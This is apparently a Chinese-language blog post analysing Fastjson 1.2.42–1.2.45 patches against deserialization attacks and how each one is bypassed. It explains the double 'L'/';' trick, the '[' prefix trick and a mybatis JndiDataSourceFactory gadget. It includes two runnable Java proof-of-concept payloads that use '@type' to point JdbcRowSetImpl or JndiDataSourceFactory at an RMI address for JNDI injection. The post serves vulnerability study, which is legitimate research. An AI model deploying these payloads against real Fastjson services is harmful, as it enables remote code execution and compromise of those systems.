前言
趁着周末抓紧时间搞java,不然卑微的我又要因为教室点名跑来跑去,这次来看一下三个版本的补丁以及绕过。
AutoTypeSupport
这三个版本触发前提都是开启AutoTypeSupport。
Fastjson=1.2.42
这个版本对L开头;结尾绕过的补丁,可以算是一种混淆源码(也类似shellcode免杀框架调用API的手法)。 大概知道一下原理就行了,这个朴实无华的补丁确实达到了它的目的,在没有网上爆破出来的字段看的情况,我很难审计这段源码。 这里圈出来的if条件其实就是匹配到L开头;结尾的时候去除一次,所以绕过的思路就是双写LL和双写;;。
Fastjson=1.2.43
在这个补丁中,采用两层if判断是否双写,是的话直接抛出异常。
在checkAutoType方法中,依然是用了哈希比较,但跟到loadclass方法就看得比较清楚了。 可以看到这里跟之前L;的处理差不多,都是截取之后再去递归loadClass方法。
后面payload添加的[和{其实可以通过报错去添加,没加的话会报错syntax error, expect [。
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Fastjson4 {
public static void main(String[] args) throws Exception{
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{" +
"\"seventeen\":{" +
"\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[," +
"{\"dataSourceName\":\"rmi://127.0.0.1:1099/evilObject\"," +
"\"autoCommit\":true" +
"}" +
"}";
JSON.parse(payload);
}
}
在Fastjson1.2.44的补丁中,类名开头出现[后会直接抛出异常。
Fastjson=1.2.45
这里参考jackson新加的黑名单,利用这个mybatis的依赖绕过,并且mybatis的版本需要是3.x并且<3.5.0。
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Fastjson5 {
public static void main(String[] args) throws Exception{
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://127.0.0.1:1099/evilObject\"}}";
JSON.parse(payload);
}
}
但这个类在1.2.46被加入了黑名单。
There Is Nothing Below